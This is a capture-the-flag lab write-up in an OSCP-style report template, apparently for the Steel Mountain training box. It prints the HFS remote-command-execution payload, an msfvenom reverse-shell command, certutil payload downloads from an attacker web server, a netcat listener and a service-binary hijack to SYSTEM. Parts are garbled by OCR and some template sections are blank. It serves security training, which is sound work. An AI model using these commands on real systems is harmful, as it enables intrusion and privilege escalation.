Road To Offensive Security Certified Professional

Pentest Report

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1 Steel Mountain Pentensting Report



Figure 1.1: Box

1.1 Introduction

The penetration test report contains all efforts that were conducted in order to get access to the machine. This report will be graded from a standpoint of correctness and fullness to all aspects of the Pentest. The purpose of this report is to ensure that the client has a full understanding of penetration testing methodologies as well as the technical knowledge to pass the qualifications for the Offensive Security Certified Professional.

1.2 Objective

The objective of this assessment is to perform an internal penetration test against the Box. The Pentester is tasked with following methodical approach in obtaining access to the objective goals. This test should simulate an actual penetration test and how you would start from beginning to end, including the overall report.

1.3 Requirements

The Pentester will be required to fill out this penetration testing report fully and to include the following sections:

- Overall High-Level Summary and Recommendations (non-technical)
- Methodology walkthrough and detailed outline of steps taken
- Each finding with included screenshots, walkthrough, sample code, and proof.txt if applicable
- Any additional items that were not included

2 High-Level Summary

I was tasked with performing an internal penetration test towards this Box. An internal penetration test is a dedicated attack against internally connected systems. The focus of this test is to perform attacks, similar to those of a hacker and attempt to infiltrate Offensive Security's internal systems - the THINC.local domain. My overall objective was to evaluate the network, identify systems, and exploit flaws while reporting the findings back to Offensive Security.

When performing the internal penetration test, there were several alarming vulnerabilities that were identified on the Box. During the testing, I had administrative level access to the system. The full box was successfully exploited and access granted. These systems as well as a brief description on how access was obtained are listed below:

• 10.10.228.19(Steel Mountain) - HFS rejetto

2.1 Recommendations

I recommend patching the vulnerabilities identified during the testing to ensure that an attacker cannot exploit these systems in the future. One thing to remember is that these systems require frequent patching and once patched, should remain on a regular patch program to protect additional vulnerabilities that are discovered at a later date.

3 Methodologies

I utilized a widely adopted approach to performing penetration testing that is effective in testing how

well the Offensive Security Exam environments is secured. Below is a breakout of how I was able to

identify and exploit the variety of systems and includes all individual vulnerabilities found.

3.1 Information Gathering

The information gathering portion of a penetration test focuses on identifying the scope of the penetration test. During this penetration test, I was tasked with exploiting the exam network. The specific

IP addresse was:

Box IP

• 10.10.228.19

3.2 Penetration

The penetration testing portions of the assessment focus heavily on gaining access to a variety of

systems. During this penetration test, I was able to successfully gain access to **X** out of the **X** systems.

3.2.1 System IP:10.10.228.19

3.2.1.1 Service Enumeration

The service enumeration portion of a penetration test focuses on gathering information about what services are alive on a system or systems. This is valuable for an attacker as it provides detailed information on potential attack vectors into a system. Understanding what applications are rupping

information on potential attack vectors into a system. Understanding what applications are running on the system gives an attacker needed information before performing the actual penetration test. In

some cases, some ports may not be listed.

4


Server IP Address	Ports Open
10.10.98.191	TCP :80,135,139,445,3389,8080,49152,49153,49154,49155,49156 UDP :

Nmap Scan Results:

```
export IP=10.10.228.19
            ali)-[~/MyPentestLab]
nmap -sC -sV -A $IP
Starting Nmap 7.92 (https://nmap.org) at 2022-07-09 10:42 EDT
Nmap scan report for 10.10.228.19
Host is up (0.082s latency).
Not shown: 989 closed tcp ports (reset)
        STATE SERVICE
PORT
                                     VERSION
80/tcp
          open http
                                    Microsoft IIS httpd 8.5
|_http-title: Site doesn't have a title (text/html).
 http-methods:
    Potentially risky methods: TRACE
 _http-server-header: Microsoft-IIS/8.5
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ssl/ms-wbt-server?
                          Microsoft Windows RPC
sn Microsoft Windows netbios-ssn
-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
 rdp-ntlm-info:
    Target_Name: STEELMOUNTAIN
    NetBIOS_Domain_Name: STEELMOUNTAIN
    NetBIOS_Computer_Name: STEELMOUNTAIN
    DNS_Domain_Name: steelmountain
    DNS_Computer_Name: steelmountain
    Product_Version: 6.3.9600
System_Time: 2022-07-09T14:44:21+00:00
_ssl-date: 2022-07-09T14:44:26+00:00; 0s from scanner time.
  ssl-cert: Subject: commonName=steelmountain
 Not valid before: 2022-07-08T14:42:07
 _Not valid after: 2023-01-07T14:42:07
                                   HttpFileServer httpd 2.3
8080/tcp open http
|_http-title: HFS /
_http-server-header: HFS 2.3
49152/tcp open msrpc
                                    Microsoft Windows RPC
49153/tcp open msrpc
49154/tcp open msrpc
                                    Microsoft Windows RPC
                                    Microsoft Windows RPC
49155/tcp open msrpc
49156/tcp open msrpc
                                    Microsoft Windows RPC
                                    Microsoft Windows RPC
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=7/9%OT=80%CT=1%CU=44200%PV=Y%DS=2%DC=T%G=Y%TM=62C9944A
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10D%TI=I%CI=RD%TS=7)OPS(01=M
OS:508NW8ST11%02=M508NW8ST11%03=M508NW8NNT11%04=M508NW8ST11%05=M508NW8ST11%
OS:06=M508ST11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=2000)ECN(R=Y%
OS:DF=Y%T=80%W=2000%0=M508NW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=0%A=S+%F=AS%RD=
OS:0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S
OS:Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=
OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T
OS:=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=N)
```

Figure 3.1: Fast Scan

HTTP





Employee of the month




Figure 3.2: HTTP

• if we checked out the source page we can see

Figure 3.3: HTTP

HTTP:8080



can see here a rejetto HFS server running

Searchsploit

• we used searchsploit to find sum stuff we can work with

```
(root  kali)-[~]
# searchsploit -x windows/remote/34668.txt

Exploit: Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (1)
    URL: https://www.exploit-db.com/exploits/34668
    Path: /usr/share/exploitdb/exploits/windows/remote/34668.txt
File Type: ASCII text
```

```
# Exploit Title: HttpFileServer 2.3.x Remote Command Execution
# Google Dork: intext: "httpfileserver 2.3"
# Date: 11-09-2014
# Remote: Yes
# Exploit Author: Daniele Linguaglossa
# Vendor Homepage: http://rejetto.com/
# Software Link: http://sourceforge.net/projects/hfs/
# Version: 2.3.x
# Tested on: Windows Server 2008 , Windows 8, Windows 7
# CVE : CVE-2014-6287
issue exists due to a poor regex in the file ParserLib.pas
function findMacroMarker(s:string; ofs:integer=1):integer;
begin result:=reMatch(s, '\{[.:]|[.:]\}|\|', 'm!', ofs) end;
it will not handle null byte so a request to
http://localhost:80/?search=%00{.exec|cmd.}
will stop regex from parse macro , and macro will be executed and remote code injection happen.
## EDB Note: This vulnerability will run the payload multiple times simultaneously.
     Make sure to take this into consideration when crafting your payload (and/or listener).
```

Access with Metasploit

• we ran metasploit to exploit this chick byt setting our RHOSTS and LHOST and we got access




Figure 3.4: msf

• we got the user flag

```
meterpreter > getuid
Server username: STEELMOUNTAIN\bill
meterpreter > ls
Listing: C:\Users\bill\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
Mode
                  Size Type Last modified
                                                             Name
040777/rwxrwxrwx 0 dir 2022-07-09 11:22:46 -0400 %TEMP% 100666/rw-rw-rw- 174 fil 2019-09-27 07:07:07 -0400 desktop.ini
100777/rwxrwxrwx 760320 fil 2014-02-16 15:58:52 -0500 hfs.exe
meterpreter > cd C/users
  ] stdapi_fs_chdir: Operation failed: The system cannot find the path specified.
meterpreter > cd C:/Users
meterpreter > cd bill/Desktop
meterpreter > ls
Listing: C:\Users\bill\Desktop
                  Size Type Last modified
Mode
                                                           Name
100666/rw-rw-rw- 282 fil 2019-09-27 07:07:07 -0400 desktop.ini
100666/rw-rw-rw- 70 fil 2019-09-27 08:42:38 -0400 user.txt
meterpreter > cat user.txt
```

Figure 3.5: HTTP

Privesc With Metasploit

• To enumerate this machine, we will use a powershell script called PowerUp, that's purpose is to evaluate a Windows machine and determine any abnormalities - "PowerUp aims to be a clearinghouse of common Windows privilege escalation vectors that rely on misconfigurations."

to download the script here

```
meterpreter > load powershell
Loading extension powershell ... Success.
meterpreter > powershell_shell
PS > . ./PowerUp.ps1

ERROR: . : The term '.werUp.ps1' is not recognized as the name of a cmdlet, function, script file, or operable progr
ERROR: the spelling of the name, or if a path was included, verify that the path is correct and try again.
ERROR: At line:1 char:3
ERROR: + . .werUp.ps1
ERROR: + ~~~~~~~
            + CategoryInfo : ObjectNotFound: (.werUp.ps1:String) [], CommandNotFoundException + FullyQualifiedErrorId : CommandNotFoundException
ERROR:
ERROR:
ERROR:
PS > . .\PowerUp.ps1
PS > Invoke-Allchecks
ServiceName : AdvancedSystemCareService9
                : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users; Permissions=AppendData/AddSubdirectory}
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'AdvancedSystemCareService9' -Path <HijackPath>
CanRestart
                : True
                 : AdvancedSystemCareService9
Check
                : Unquoted Service Paths
```

Figure 3.6: HTTP

- The CanRestart option being true, allows us to restart a service on the system, the directory to the application is also write-able. This means we can replace the legitimate application with our malicious one, restart the service, which will run our infected program
- for that we will use msfvenom to generate the payload and upload it to our meterpreter session and replace it in the service executable

```
(root  kali)-[~/MyPentestLab]
    msfvenom -p windows/shell_reverse_tcp LHOST=10.8.0.90 LPORT=4443 -f exe -o Advanced2.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes
Saved as: Advanced2.exe
```

```
meterpreter > upload ~/MyPentestLab/Advanced2.exe
[*] uploading : /root/MyPentestLab/Advanced2.exe
[*] uploaded 72.07 KiB of 72.07 KiB (100.%): /root/MyPentestLab/Advanced2.exe
[*] uploaded 72.07 KiB of 72.07 KiB (100.%): /root/MyPentestLab/Advanced2.exe
[*] uploaded : /root/MyPentestLab/Advanced2.exe → Advanced2.exe
meterpreter > ls
Listing: C:\Windows\Tasks
Mode
                                 Type Last modified
                      Size
                                                                           Name
                                      2019-09-26 11:17:50 -0400 ASC9_SkipUac_adm.job
2022-07-09 11:59:14 -0400 Advanced.exe
2022-07-09 12:16:51 -0400 Advanced2.exe
2019-09-26 11:17:54 -0400 ImcleanDisabled
2022-07-09 11:42:34 -0400 PowerUp.ps1
100666/rw-rw-rw- 286
100777/rwxrwxrwx 15872
100777/rwxrwxrwx 73802
040777/rwxrwxrwx 0
                                dir
100666/rw-rw-rw- 600580
100666/rw-rw-rw- 6
                                      2022-07-09 10:41:36 -0400 SA.DAT
meterpreter > shell
Process 960 created.
Channel 10 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Windows\Tasks>copy Advanced2.exe "C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe" copy Advanced2.exe "C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe"
Overwrite C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe? (Yes/No/All): No
          0 file(s) copied.
C:\Windows\Tasks.copy Advanced2.exe "C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe"
copy Advanced2.exe "C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe"

Overwrite C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe? (Yes/No/All): yes
yes
          1 file(s) copied.
C:\Windows\Tasks>net start AdvancedSystemCareService9
net start AdvancedSystemCareService9
The service is not responding to the control function.
More help is available by typing NET HELPMSG 2186.
C:\Windows\Tasks>
               👦 kali)-[~/MyPentestLab]
      nc -lvnp 4443
 Listening on 0.0.0.0 4443
 Connection received on 10.10.228.19 49343
 Microsoft Windows [Version 6.3.9600]
 (c) 2013 Microsoft Corporation. All rights reserved.
 C:\Windows\system32>id
 id
 'id' is not recognized as an internal or external command,
 operable program or batch file.
 C:\Windows\system32>whoami
 whoami
 nt authority\system
 C:\Windows\system32>
```

access Without Metasploit

- For this we will use powershell and winPEAS to enumerate the system and collect the relevant info to escalate to
- we will be using the same CVE with this exploit here
- then we will need a netcat binary, download here

```
### Vendor Homepage: http://rejetto.com/
### Softbars Links, http://sourceforge.net/projects/hfs/
### Version: 2.3,x
### Versio
```

Figure 3.7: exploit

- in the exploit we needed to put our vpn ip and our netcat port to listen on when we get the connection then we will host the python script and the first time the exploit will get the netcat binary then it will execute it and we will get the back connection on our listener




Figure 3.8: access

- and we have access to the machine let's see how to get root

Privesc without metasploit

– once we are in we are going to deploy a python server from the attacker machine to host winpeas binary and get it using certutil and then run it

```
C:\Windows\Tasks>certutil -Urlcache -f "http://10.11.77.245/winPEASx64.exe" winpeas.exe
certutil -Urlcache -+ "http://10.11.77.245/winPEASx64.exe" winpeas.exe
**** Online ****
CertUtil: -URLCache command completed successfully.
C:\Windows\Tasks>
C:\Windows\Tasks>
C:\Windows\Tasks>
C:\Windows\Tasks>
C:\Windows\Tasks>
C:\Windows\Tasks>dir
Directory of C:\Windows\Tasks
286 ASC9_SkipUac_adm.job
                         ImCleanDisabled
          3 Dir(s) 44,152,049,664 bytes free
C:\Windows\Tasks>.\winpeas.exe servicesinfo
.\winpeas.exe servicesinfo
ANSI color bit for Windows is not set. If you are execcuting this from a Windows terminal inside the ho
run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD
   ..****************/බබබබ%බබබ/*******##((/ /(((
   AdvancedSystemCareService9(IObit - Advanced SystemCare Service 9)[
         xe] - Auto - Running -
  Advanced SystemCare Service
   AmazonSSMAgent(Amazon SSM Agent)["C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe"] - Auto - Running
  Amazon SSM Agent
```

– as we can see it identified the write permissions on the service so we will copy our payload creatted using msfvenom into the binary, stop the service, copy the payload, rerun the service while pre setting out netcat listener and we get a connection back as authority system

Figure 3.9: certutil

- here we generated the payload

```
12 Dir(s) 44.151.783.424 bytes free
C:\Program Files (x86)\IObit\Advanced SystemCare>sc stop AdvancedSystemCare9
   stop AdvancedSystemCare9
[SC] OpenService FAILED 1060:
The specified service does not exist as an installed service.
C:\Program Files (x86)\IObit\Advanced SystemCare>sc stop AdvancedSystemCareService9
sc stop AdvancedSystemCareService9
SERVICE_NAME: AdvancedSystemCareService9
                               : 110 WIN32_OWN_PROCESS (interactive)
                                : 4 RUNNING
                                (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
: 0 (0×0)
         WIN32_EXIT_CODE : 0 (0\times0)
SERVICE_EXIT_CODE : 0 (0\times0)
CHECKPOINT : 0\times0
         WAIT_HINT
                                 : 0×0
C:\Program Files (x86)\IObit\Advanced SystemCare copy Advanced2.exe ASCService.exe
copy Advanced2.exe ASCService.exe
Overwrite ASCService.exe? (Yes/No/All): yes
         1 file(s) copied.
C:\Program Files (x86)\IObit\Advanced SystemCare sc start AdvancedSystemCareService9 sc start AdvancedSystemCareService9
                                                                             (<mark>root⊗ kali)-[~</mark>]
nc -lvnp 1234
Final size of exe file: 73802 bytes
Saved as: Advanced2.exe
                                                                         Listening on 0.0.0.0 1234
         t�kali)-[~/MyPentestLab/THM_Boxes/THM_Steelmount
                                                                         Connection received on 10.10.159.86 49263
                                                                         Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
39161.py Advanced2.exe ASCService.exe nc.exe winPEAS
    (root⊕ kali)-[~/MyPentestLab/THM_Boxes/THM_Steelmount
python3 -m http.server 80
                                                                         C:\Windows\system32>whoami
                                                                         whoami
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.159.86 - - [10/Jul/2022 11:38:11] "GET /Advanced2.
exe HTTP/1.1" 200 -
                                                                         nt authority\system
                                                                         C:\Windows\system32>
10.10.159.86 - - [10/Jul/2022 11:38:12] "GET /Advanced2.
exe HTTP/1.1" 200 -
```

Figure 3.10: certutil

-- and we are authority system

Vulnerability Fix:

Severity: moderate

Proof of Concept Code Here:

Local.txt Proof Screenshot

Local.txt Contents

3.2.1.2 Privilege Escalation

Additional Priv Esc info

Vulnerability Exploited:

Vulnerability Explanation:

Vulnerability Fix:

Severity:

Exploit Code:

Proof Screenshot Here:

Proof.txt Contents:

3.3 Maintaining Access

Maintaining access to a system is important to us as attackers, ensuring that we can get back into a system after it has been exploited is invaluable. The maintaining access phase of the penetration test focuses on ensuring that once the focused attack has occurred (i.e. a buffer overflow), we have administrative access over the system again. Many exploits may only be exploitable once and we may never be able to get back into a system after we have already performed the exploit.

3.4 House Cleaning

The house cleaning portions of the assessment ensures that remnants of the penetration test are removed. Often fragments of tools or user accounts are left on an organization's computer which

can cause security issues down the road. Ensuring that we are meticulous and no remnants of our penetration test are left over is important.

After collecting trophies from the exam network was completed, I removed all user accounts and passwords as well as the Meterpreter services installed on the system. Offensive Security should not have to remove any user accounts or services from the system.

4 Additional Items

- **4.1 Appendix Proof and Local Contents:**
- 4.2 Appendix Metasploit/Meterpreter Usage
- 4.3 Appendix Completed Buffer Overflow Code